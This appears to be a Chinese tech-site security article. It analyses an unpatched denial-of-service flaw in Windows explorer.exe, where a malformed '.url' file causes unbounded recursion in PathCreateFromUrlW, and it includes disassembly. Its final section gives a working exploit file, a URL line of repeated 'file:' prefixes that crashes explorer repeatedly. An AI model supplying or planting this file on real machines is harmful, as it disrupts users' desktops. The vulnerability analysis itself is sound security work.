扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
1.描述
Windows的Shell程序explorer.exe在处理包含畸形数据的“.url”文件时存在问题,本地攻击者可能利用此漏洞导致用户机器上的explorer.exe进程崩溃。
如果explorer.exe解析了包含有特别格式URL的*.url文件的话,就会导致崩溃。即使通过资源管理器试图删除这个文件时也会触发崩溃。
目前厂商还没有提供补丁或者升级程序,到目前为止该漏洞依然有效。
汇编代码中际出错的地址:
7D5CE6B9 push ecx
7D5CE6BA lea ecx, dword ptr [esp+8]
7D5CE6BE sub ecx, 1000
7D5CE6C4 sub eax, 1000
7D5CE6C9 test dword ptr [ecx], eax 异常地址
7D5CE6CB cmp eax, 1000
7D5CE6D0 jnb short 7D5CE6BE
7D5CE6D2 sub ecx, eax
7D5CE6D4 mov eax, esp
7D5CE6D6 test dword ptr [ecx], eax
7D5CE6D8 mov esp, ecx
7D5CE6DA mov ecx, dword ptr [eax]
7D5CE6DC mov eax, dword ptr [eax+4]
7D5CE6DF push eax
7D5CE6E0 retn
2.详细分析
在IDA的反汇编中可知:
public: virtual long __stdcall CFileUrlStub::ParseDisplayName(struct HWND__ *, struct IBindCtx *, unsigned short *, unsigned long *, struct _ITEMIDLIST * *, unsigned long *) proc near
.text:7D6A112C ; DATA XREF: .text:7D5A327Co
.text:7D6A112C
.text:7D6A112C var_20A0 = dword ptr -20A0h
.text:7D6A112C var_209C = dword ptr -209Ch
.text:7D6A112C var_2098 = dword ptr -2098h
.text:7D6A112C Srch = word ptr -2094h
.text:7D6A112C var_104C = dword ptr -104Ch
.text:7D6A112C var_4 = dword ptr -4
.text:7D6A112C arg_C = dword ptr 14h
.text:7D6A112C arg_14 = dword ptr 1Ch
.text:7D6A112C arg_18 = dword ptr 20h
.text:7D6A112C
.text:7D6A112C mov edi, edi
.text:7D6A112E push ebp
.text:7D6A112F mov ebp, esp
.text:7D6A1131 mov eax, 20A0h 局部堆栈长度
.text:7D6A1136 call __chkstk 出错函数地址
.text:7D6A1136
.text:7D6A113B mov eax, ___security_cookie
.text:7D6A1140 push ebx
.text:7D6A1141 mov ebx, [ebp+arg_18]
.text:7D6A1144 push esi
.text:7D6A1145 mov esi, [ebp+arg_14]
.text:7D6A1148 push edi
.text:7D6A1149 mov edi, [ebp+arg_C]
.text:7D6A114C push edi
.text:7D6A114D mov [ebp+var_4], eax
.text:7D6A1150 call ds:UrlGetLocationW(x)
.text:7D6A1156 push 0
.text:7D6A1158 mov [ebp+var_2098], eax
.text:7D6A115E push 6
.text:7D6A1160 lea eax, [ebp+var_209C]
.text:7D6A1166 push eax
.text:7D6A1167 lea eax, [ebp+var_104C+2]
.text:7D6A116D push eax
.text:7D6A116E push edi
.text:7D6A116F mov [ebp+var_20A0], 824h
.text:7D6A1179 mov [ebp+var_209C], 823h
.text:7D6A1183 call ds:UrlGetPartW(x,x,x,x,x)
.text:7D6A1189 test eax, eax
.text:7D6A118B jl short loc_7D6A11A1
.text:7D6A118B
.text:7D6A118D cmp [ebp+var_209C], 0
.text:7D6A1194 jz short loc_7D6A11A1
.text:7D6A1194
.text:7D6A1196 mov word ptr [ebp+var_104C], 3Fh
.text:7D6A119F jmp short loc_7D6A11A9
.text:7D6A119F
.text:7D6A11A1 ; ---------------------------------------------------------------------------
.text:7D6A11A1
.text:7D6A11A1 loc_7D6A11A1: ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+5Fj
.text:7D6A11A1 ; CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+68j
.text:7D6A11A1 and word ptr [ebp+var_104C], 0
.text:7D6A11A1
.text:7D6A11A9
.text:7D6A11A9 loc_7D6A11A9: ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+73j
.text:7D6A11A9 push 0
.text:7D6A11AB lea eax, [ebp+var_20A0]
.text:7D6A11B1 push eax
.text:7D6A11B2 lea eax, [ebp+Srch]
.text:7D6A11B8 push eax
.text:7D6A11B9 push edi
.text:7D6A11BA call ds:PathCreateFromUrlW(x,x,x,x) 该函数递归
.text:7D6A11C0 test eax, eax
.text:7D6A11C2 jl short loc_7D6A121B
.text:7D6A11C2
.text:7D6A11C4 push ebx ; int
.text:7D6A11C5 push esi ; int
.text:7D6A11C6 xor edi, edi
.text:7D6A11C8 push edi ; char
.text:7D6A11C9 push edi ; int
.text:7D6A11CA lea eax, [ebp+Srch]
.text:7D6A11D0 push eax ; lpSrch
.text:7D6A11D1 call ILCreateFromPathEx(x,x,x,x,x)
总结:
由于对参数检查不严格,造成这段函数不停地递规调用自已,每次都用堆栈0x20A0。由于windows线程的堆栈不是无限增大的,超过他的最大范围就出错了。当进行第28次调用以后,达到了windows堆栈所能允许的最大值,explorer程序异常退出。
3.利用代码
[InternetShortcut]
url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:
把以上文字保成成URL为后缀的文件,可以造成桌面程序(Expolore.exe)一直出错。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者